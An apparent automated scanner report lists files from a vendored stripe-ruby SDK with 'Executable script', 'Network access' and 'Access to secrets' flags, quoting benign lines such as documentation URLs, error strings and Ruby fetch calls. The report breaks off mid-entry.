packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/inbound_transfer_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/outbound_payment_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/outbound_transfer_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/received_credit_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/received_debit_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/transaction_entry_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury/transaction_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/treasury_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v1_services.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/billing/meter_event_adjustment_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/billing/meter_event_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/billing/meter_event_session_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/billing/meter_event_stream_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/billing_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/core/account_link_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/core/account_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/core/account_token_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/core/accounts/person_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/core/accounts/person_token_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/core/event_destination_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/core/event_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2/core_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/v2_services.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/services/webhook_endpoint_service.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # A webhook endpoint must have a url and a list of enabled_events. You may optionally specify the Boolean connect parameter. If set to true, then a Connect webhook endpoint that notifies the specified url about events from all connected acc
  • Network accessline 17
    # You can also delete webhook endpoints via the [webhook endpoint management](https://dashboard.stripe.com/account/webhooks) page of the Stripe dashboard.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/singleton_api_resource.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/stripe_client.rb

  • Executable scriptline 1
    Executable file
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 19
    [Credential-related source omitted]
  • Access to secretsline 28
    [Credential-related source omitted]
  • Network accessline 29
    raise AuthenticationError, "No API key provided. "                                     'Set your API key using "client = Stripe::StripeClient.new(<API-KEY>)". '                                     "You can generate API keys from the Stripe 
  • Network accessline 30
    'Set your API key using "client = Stripe::StripeClient.new(<API-KEY>)". ' \                                    "You can generate API keys from the Stripe web interface. " \                                    "See https://stripe.com/api for 
  • Network accessline 31
    "You can generate API keys from the Stripe web interface. " \                                    "See https://stripe.com/api for details, or email " \                                    "support@stripe.com if you have any questions."
  • Network accessline 32
    "See https://stripe.com/api for details, or email " \
  • Access to secretsline 37
    [Credential-related source omitted]
  • Network accessline 71
    cls = Util.event_notification_classes.fetch(parsed[:type], Stripe::Events::UnknownEventNotification)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/stripe_configuration.rb

  • Executable scriptline 1
    Executable file
  • Access to secretsline 28
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/stripe_context.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/stripe_object.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 122
    def deleted?       @values.fetch(:deleted, false)
  • Network accessline 123
    @values.fetch(:deleted, false)
  • Network accessline 177
    # super specific one-off case to help users debug this property disappearing       # see also: https://go/j/DEVSDK-2835
  • Network accessline 178
    # see also: https://go/j/DEVSDK-2835
  • Network accessline 180
    raise KeyError,               "The 'payment_intent' attribute is no longer available on Invoice objects. " \               "See the docs for more details: https://docs.stripe.com/changelog/basil/2025-03-31/" \
  • Network accessline 181
    "The 'payment_intent' attribute is no longer available on Invoice objects. "                "See the docs for more details: https://docs.stripe.com/changelog/basil/2025-03-31/"
  • Network accessline 182
    "See the docs for more details: https://docs.stripe.com/changelog/basil/2025-03-31/" \
  • Network accessline 347
    # reopened for monkey patching:               #               #     https://github.com/stripe/stripe-ruby/issues/749
  • Network accessline 348
    #               #     https://github.com/stripe/stripe-ruby/issues/749               #
  • Network accessline 349
    #     https://github.com/stripe/stripe-ruby/issues/749
  • Network accessline 447
    # super specific one-off case to help users debug this property disappearing         # see also: https://go/j/DEVSDK-2835
  • Network accessline 448
    # see also: https://go/j/DEVSDK-2835
  • Network accessline 451
    "\n\n"                  "-----------------\n "                  "BREAKING CHANGE \n"                  "-----------------\n"                  "The 'payment_intent' attribute is no longer available on Invoice objects.\n\n"                  "S
  • Network accessline 455
    "The 'payment_intent' attribute is no longer available on Invoice objects.\n\n" \                 "See the docs for more details:\n" \                 "https://docs.stripe.com/changelog/basil/2025-03-31/" \
  • Network accessline 456
    "See the docs for more details:\n" \                 "https://docs.stripe.com/changelog/basil/2025-03-31/" \                 "add-support-for-multiple-partial-payments-on-invoices#why-is-this-a-breaking-change\n" \
  • Network accessline 457
    "https://docs.stripe.com/changelog/basil/2025-03-31/" \

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/stripe_response.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/stripe_service.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/util.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 143
    # TODO: This is a terrible hack.         # Waiting on https://go/j/API_SERVICES-3167 to add an object in v2 lists
  • Network accessline 144
    # Waiting on https://go/j/API_SERVICES-3167 to add an object in v2 lists
  • Network accessline 157
    V2::DeletedObject                          elsif object_name == "v2.core.event" && v2_event_classes.key?(object_type)                            v2_event_classes.fetch(object_type)
  • Network accessline 158
    elsif object_name == "v2.core.event" && v2_event_classes.key?(object_type)                            v2_event_classes.fetch(object_type)                          else
  • Network accessline 159
    v2_event_classes.fetch(object_type)
  • Network accessline 160
    else                            v2_object_classes.fetch(                              object_name, StripeObject
  • Network accessline 161
    v2_object_classes.fetch(
  • Network accessline 164
    end                        else                          object_classes.fetch(object_name, StripeObject)
  • Network accessline 165
    else                          object_classes.fetch(object_name, StripeObject)                        end
  • Network accessline 166
    object_classes.fetch(object_name, StripeObject)
  • Access to secretsline 308
    [Credential-related source omitted]
  • Network accessline 312
    [Credential-related source omitted]
  • Access to secretsline 312
    [Credential-related source omitted]
  • Network accessline 314
    [Credential-related source omitted]
  • Access to secretsline 314
    [Credential-related source omitted]
  • Access to secretsline 337
    [Credential-related source omitted]
  • Access to secretsline 338
    [Credential-related source omitted]
  • Network accessline 360
    [Credential-related source omitted]
  • Access to secretsline 360
    [Credential-related source omitted]
  • Network accessline 361
    [Credential-related source omitted]
  • Access to secretsline 361
    [Credential-related source omitted]
  • Network accessline 362
    "https://dashboard.stripe.com/#{env}/logs/#{request_id}"
  • Network accessline 408
    mode = 0 # default       foreground = 30 + COLOR_CODES.fetch(color)
  • Network accessline 409
    foreground = 30 + COLOR_CODES.fetch(color)
  • Network accessline 410
    background = 40 + COLOR_CODES.fetch(:default)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/v2_list_object.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/version.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/webhook.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/account_create_params.rbi

  • Network accessline 61
    sig { params(_amount: Integer).returns(Integer) }         def amount=(_amount); end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co
  • Network accessline 62
    def amount=(_amount); end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 63
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 80
    sig { params(_amount: Integer).returns(Integer) }         def amount=(_amount); end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co
  • Network accessline 81
    def amount=(_amount); end         # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).         sig { returns(String) }
  • Network accessline 82
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 94
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 95
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 96
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 114
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 115
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 116
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1327
    sig { params(_number: String).returns(String) }       def number=(_number); end       # Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information a
  • Network accessline 1328
    def number=(_number); end       # Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { re
  • Network accessline 1329
    # Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 1386
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1387
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 1388
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1406
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1407
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 1408
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1429
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1430
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 1431
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1478
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1479
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 1480
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1605
    class Verification < ::Stripe::RequestParams         class Document < ::Stripe::RequestParams           # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verificat
  • Network accessline 1606
    class Document < ::Stripe::RequestParams           # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (sm
  • Network accessline 1607
    # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF
  • Network accessline 1610
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }           def back=(_back); end           # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_ve
  • Network accessline 1611
    def back=(_back); end           # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px
  • Network accessline 1612
    # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PD
  • Network accessline 1705
    }       def ownership_declaration=(_ownership_declaration); end       # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemp
  • Network accessline 1706
    def ownership_declaration=(_ownership_declaration); end       # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-fro
  • Network accessline 1707
    # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-from-providing-ownership-details) and [changelog](https://docs.st
  • Network accessline 1796
    class Controller < ::Stripe::RequestParams       class Fees < ::Stripe::RequestParams         # A value indicating the responsible payer of Stripe fees on this account. Defaults to `account`. Learn more about [fee behavior on connected acco
  • Network accessline 1797
    class Fees < ::Stripe::RequestParams         # A value indicating the responsible payer of Stripe fees on this account. Defaults to `account`. Learn more about [fee behavior on connected accounts](https://docs.stripe.com/connect/direct-char
  • Network accessline 1798
    # A value indicating the responsible payer of Stripe fees on this account. Defaults to `account`. Learn more about [fee behavior on connected accounts](https://docs.stripe.com/connect/direct-charges-fee-payer-behavior).
  • Network accessline 1860
    class Documents < ::Stripe::RequestParams       class BankAccountOwnershipVerification < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `a
  • Network accessline 1861
    class BankAccountOwnershipVerification < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nil
  • Network accessline 1862
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1869
    end       class CompanyLicense < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1870
    class CompanyLicense < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilable(T::Array[Stri
  • Network accessline 1871
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1878
    end       class CompanyMemorandumOfAssociation < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1879
    class CompanyMemorandumOfAssociation < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilab
  • Network accessline 1880
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1887
    end       class CompanyMinisterialDecree < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1888
    class CompanyMinisterialDecree < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilable(T::
  • Network accessline 1889
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1896
    end       class CompanyRegistrationVerification < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1897
    class CompanyRegistrationVerification < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nila
  • Network accessline 1898
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1905
    end       class CompanyTaxIdVerification < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1906
    class CompanyTaxIdVerification < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilable(T::
  • Network accessline 1907
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1914
    end       class ProofOfAddress < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1915
    class ProofOfAddress < ::Stripe::RequestParams         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilable(T::Array[Stri
  • Network accessline 1916
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1932
    def initialize(person: nil); end         end         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1933
    end         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilable(T::Array[String])) }
  • Network accessline 1934
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1959
    def initialize(person: nil); end         end         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1960
    end         # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.         sig { returns(T.nilable(T::Array[String])) }
  • Network accessline 1961
    # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`.
  • Network accessline 1978
    def initialize(files: nil, signer: nil); end       end       # One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a doc
  • Network accessline 1979
    end       # One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associated with the account’s primary active 
  • Network accessline 1980
    # One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associated with the account’s primary active bank accou
  • Network accessline 2057
    end     class Groups < ::Stripe::RequestParams       # The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/
  • Network accessline 2058
    class Groups < ::Stripe::RequestParams       # The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/connect/
  • Network accessline 2059
    # The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/connect/platform-pricing-tools) for details.
  • Network accessline 2072
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2073
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2074
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2092
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2093
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2094
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2115
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2116
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2117
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2164
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2165
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2166
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2232
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }         def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2233
    def city=(_city); end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2234
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2252
    sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) }         def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2253
    def postal_code=(_postal_code); end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 2254
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2310
    class Verification < ::Stripe::RequestParams         class AdditionalDocument < ::Stripe::RequestParams           # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_docume
  • Network accessline 2311
    class AdditionalDocument < ::Stripe::RequestParams           # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (sma
  • Network accessline 2312
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 2315
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }           def back=(_back); end           # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`
  • Network accessline 2316
    def back=(_back); end           # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px
  • Network accessline 2317
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 2324
    end         class Document < ::Stripe::RequestParams           # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (s
  • Network accessline 2325
    class Document < ::Stripe::RequestParams           # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 
  • Network accessline 2326
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an
  • Network accessline 2329
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }           def back=(_back); end           # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`
  • Network accessline 2330
    def back=(_back); end           # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px
  • Network accessline 2331
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a
  • Network accessline 2448
    sig { params(_maiden_name: T.nilable(String)).returns(T.nilable(String)) }       def maiden_name=(_maiden_name); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful
  • Network accessline 2449
    def maiden_name=(_maiden_name); end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi
  • Network accessline 2450
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 2531
    end       class Branding < ::Stripe::RequestParams         # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px.
  • Network accessline 2532
    class Branding < ::Stripe::RequestParams         # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px.         sig { returns(T.nilable(String)) }
  • Network accessline 2533
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px.
  • Network accessline 2536
    sig { params(_icon: T.nilable(String)).returns(T.nilable(String)) }         def icon=(_icon); end         # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of 
  • Network accessline 2537
    def icon=(_icon); end         # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and without the account's name next to it if provided. Must be at l
  • Network accessline 2538
    # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and without the account's name next to it if provided. Must be at least 128px x 128px.
  • Network accessline 2653
    end       class Payments < ::Stripe::RequestParams         # The default text that appears on statements for non-card charges outside of Japan. For card charges, if you don't set a `statement_descriptor_prefix`, this text is also used as th
  • Network accessline 2654
